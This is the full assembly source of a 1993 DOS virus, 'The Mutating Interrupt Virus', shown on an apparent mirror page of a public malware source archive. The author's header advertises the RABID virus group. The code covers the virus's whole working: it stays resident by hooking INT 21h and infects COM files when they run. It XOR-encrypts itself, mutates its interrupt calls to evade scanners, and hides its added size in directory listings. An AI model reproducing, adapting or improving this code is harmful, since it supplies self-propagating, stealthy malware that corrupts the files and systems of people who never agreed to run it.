mirror of
https://github.com/vxunderground/MalwareSourceCode
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417 lines
12 KiB
NASM
417 lines
12 KiB
NASM
;****************************************************************************
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;* The Mutating Interrupt Virus -Soltan Griss-
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;* [RABID] -=+ Front 242 +=-
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;*
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;*
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;* Well this is my Third Release of many to come. This virus uses the latest
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;* of RABID's new inventions the "MUTATING INTERRUPT", what it does (nothing
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;* to special) is Mutate all int 21h (CD 21) to a random interrupt.
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;* Then before executation it will change it back to INT 21.
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;*
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;* Alot of people are wondering if RABID is Still around. YES. Wea reback and
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;* Kicking, although right now we have limited members, it soon will change.
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;*
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;*
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;* Many Thanks go out to Data Disruptor, who originally came up with the
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;* interrupt swapping idea.
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;*
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;*
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;* SOON TO COME: Why use conventional memory when do has left so many holes??
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;* Find out soon in one of our next RELEASES.
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;*
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;* A Real Mutating virus with moveable modular segments!!<G>!
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;*
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;*
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;*
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;* A Word of thanks go out to.
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;*
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;* YAM- Keep up the hard work. Alot of improvement come with time.
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;* Admiral Bailey. Waitinf for the next version of the IVP!
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;*
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;*
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;****************************************************************************
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seg_a segment
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assume cs:seg_a,ds:seg_a,es:nothing
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org 100h
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start: db 0E9h,06,00,42h,0f2h ; Jump to virus + F242 id string
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vstart equ $
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key: dw 0 ;encryptor key.
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i_key: dw 12cdh ;Interrupt key
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call code_start
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code_start:
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pop si
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sub si,offset code_start ;get current infected files size
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mov bp,si
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crypter:
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mov cx,(vend-check)
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mov dh,byte ptr cs:[key+bp]
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mov si,offset check
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add si,bp
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loo: mov ah,byte ptr cs:[si] ;Decrypt the virus
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xor ah,dh
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mov byte ptr cs:[si],ah
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inc si
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loop loo
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code:
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mov si,offset check
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mov di,offset check
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mov cx,(vend-check)
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looper: mov ax,[si]
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cmp ax,word ptr cs:[i_key+bp] ;Change interrupts back
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je change
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doit: mov [di],ax
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inc si
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inc di
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loop looper
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jmp check
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change: mov ax,21cdh
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jmp doit
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info: db 'The Mutating Interrupt Virus '
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db 'RABID`S Back and Kicking in `93 -Soltan Griss-'
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check:
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mov ax,0F242h ;Check to see if we are already
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int 12h
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cmp bx,0F242h ;resident
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je Already_here
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load: ;Virus Id string so they NAME it
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; RIGHT!!!!
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push cs
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pop ds
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mov ah,49h ;Release current Memory block
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int 12h
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mov ah,48h ;Request Hugh size of memory
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mov bx,0ffffh ;returns biggest size
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int 12h
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mov ah,4ah
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sub bx,(vend-vstart+15)/16+(vend-vstart+15)/16+1
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jc exit ;subtract virus size
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int 12h
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mov ah,48h
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mov bx,(vend-vstart+15)/16+(vend-vstart+15)/16
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int 12h
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jc exit ;request last XXX pages
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;allocate it to virus
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dec ax
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push es
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mov es,ax
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mov byte ptr es:[0],'Z' ;make DOS the owner
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mov word ptr es:[1],8
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mov word ptr es:[3],(vend-vstart+15)/8 ;put size here
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sub word ptr es:[12h],(vend-vstart+15)/8 ;sub size from current
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;memory
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inc ax
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lea si,[bp+offset vstart] ;copy it to new memory block
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xor di,di
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mov es,ax
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mov cx,(vend-vstart+5)/2
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cld
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rep movsw
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xor ax,ax
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mov ds,ax
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push ds
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lds ax,ds:[21h*4] ;swap vectors manually
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mov word ptr es:[old_21-vstart],ax
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mov word ptr es:[old_21-vstart+2],ds
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pop ds
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mov word ptr ds:[21h*4],(new_21-vstart)
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mov ds:[21h*4+2],es
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exit:
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already_here:
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push cs
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pop ds
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push cs
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pop es
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mov si,offset buffer ;Copy five bytes back!
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add si,Bp
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mov di,100h
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movsw
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movsw
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movsb
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mov bp,100h
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jmp bp
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;***************************************************************************
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old_21: dw 0h,0h
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buffer db 0cdh,20h,0,0,0 ;Buffer to hold the infected
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old_date: dw 0 ;files 5 bytes
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old_time: dw 0
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jump_add: db 0E9h
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db 0,0
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db 0F2h,42h
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new_21:
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cmp ax,0f242h ;Are we going resident?
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je SAY_YES
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cmp ax,4b00h ;Are we executing?
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je exec
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cmp ah,11h
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je hide_size ;doing a DIR??
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cmp ah,12h
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je hide_size
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jmp do_old
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exec: jmp exec2
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SAY_YES:mov bx,0f242h
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do_old: jmp dword ptr cs:[(old_21-vstart)] ;If not then do old int 21
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ret
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hide_size:
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pushf
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push cs
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call do_old ;get the current FCB
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cmp al,00h
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jnz dir_error ;jump if bad FCB
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push ax
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push bx
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push dx
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push ds
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push es ;undocumented get FCB
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mov ah,51h ;location
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int 12h
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mov es,bx ;get info from FCB
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cmp bx,es:[16h]
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jnz not_inf
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mov bx,dx
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mov al,[bx]
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push ax
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mov ah,2fh ;get DTA
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int 12h
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pop ax
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inc al ;Check for extended FCB
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jnz normal_fcb
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add bx,7h
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normal_fcb:
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mov ax,es:[bx+17h]
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and ax,1fh
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xor al,01h ;check for 2 seconds
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jnz not_inf
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and byte ptr es:[bx+17h],0e0h ;subtract virus size
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sub es:[bx+1dh],(vend-vstart)
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sbb es:[bx+1fh],ax
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not_inf:pop es
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pop ds
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pop dx
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pop bx
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pop ax
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dir_error:
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iret
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exec2: push ax
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push bx
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push cx
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push dx
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push ds
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push es
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call infect ;Lets infect the file!!
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backup: pop es
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pop ds
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pop dx
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pop cx
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pop bx
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pop ax
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jmp do_old ;go back to original load
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infect:
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mov ax,3d02h
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int 12h
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jc quit1 ;open the file
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mov bx,ax
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A_open: push cs
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pop ds
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mov ax,4200h
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xor cx,cx
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xor dx,dx ;move file pointer to begining
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int 12h ;(FOR LATER MODIFICATION ONLY)
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mov ah,3fh
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mov cx,5h
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mov dx,(buffer-vstart) ;load in the first 5 bytes
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int 12h
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jc quit1
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cmp word ptr cs:[(buffer-vstart)],5A4Dh ;check to see if its an
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je quit1 ;EXE
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cmp word ptr cs:[(buffer-vstart)+3],42F2h
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je quit1
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;if so then its infected
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jmp qqqq
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quit1: jmp quit2
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qqqq: mov ax,5700h
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int 12h
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jc quit1
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mov word ptr cs:[(old_time-vstart)],cx ;get the files time
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mov word ptr cs:[(old_date-vstart)],dx ;and date
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mov ax,4202h
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xor cx,cx
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xor dx,dx ;put file pointer at end
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int 12h
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jc quit1
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mov cx,ax
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sub cx,3 ;write jump lenght to jump buffer
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add cx,4
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mov word ptr cs:[(jump_add+1-vstart)],cx
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mov ah,2ch ;get random number for interrupt
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int 12h ;swapping
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cmp dh,03h ;don't like INT 3'S (1 byte only not 2)
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jne write_key
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inc dh
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write_key:
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mov word ptr cs:[key-vstart],cx ;save encryption key
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mov byte ptr cs:[i_key-vstart+1],dh ;save interupt key
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mov si,(check-vstart) ;write from check to end
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mov di,(vend-vstart)
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mov cx,(vend-check)
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topper: mov al,byte ptr cs:[(si)]
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cmp al,0cdh
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je changeit
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top2: mov byte ptr cs:[(di)],al
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tor: inc si ;this "mutating routine" is kind
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inc di ;messy but i'll improve it for version
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loop topper ;2.0
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jmp crypt
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changeit:
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mov byte ptr cs:[(di)],al
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inc di
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inc si
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dec cx
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mov al,byte ptr cs:[(si)]
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cmp al,21h
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jne top2
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mov byte ptr cs:[(di)],dh
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jmp tor
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quit: jmp quit2
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crypt:
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mov cx,(vend-check)
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mov dh,byte ptr cs:[key-vstart]
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mov si,(vend-vstart)
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lop: mov ah,byte ptr cs:[si]
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xor ah,dh ;Encrypt the code
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mov byte ptr cs:[si],ah
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inc si
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loop lop
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mov cx,(check-vstart)
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mov ah,40h ;write decrypting routine
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mov dx,(vstart-vstart) ;to file first
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int 12h
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jc quit
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mov cx,(vend-check) ;write the encrypted code
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mov ah,40h ; to the end of the file
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mov dx,(vend-vstart)
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int 12h
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jc quit
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mov ax,4200h ;move file pointer to the
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xor cx,cx ;begining to write the JMP
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xor dx,dx
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int 12h
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mov cx,5
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mov ah,40h ;write the JMP top the file
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mov dx,(jump_add-vstart)
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int 12h
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jc quit
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mov ax,5701h
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mov word ptr cx,cs:[(old_time-vstart)] ;Restore old time,date
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mov word ptr dx,cs:[(old_date-vstart)]
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and cl,0e0H
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inc cl ;change seconds to 2
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int 12h
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mov ah,3eh
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int 12h
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quit2: ret
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vend equ $
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nop
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nop
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seg_a ends
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end start
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;WELL THATS IT.
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If ya have any questions feel free to contact me on -=+ FRONT 242 +=- (CANADA)
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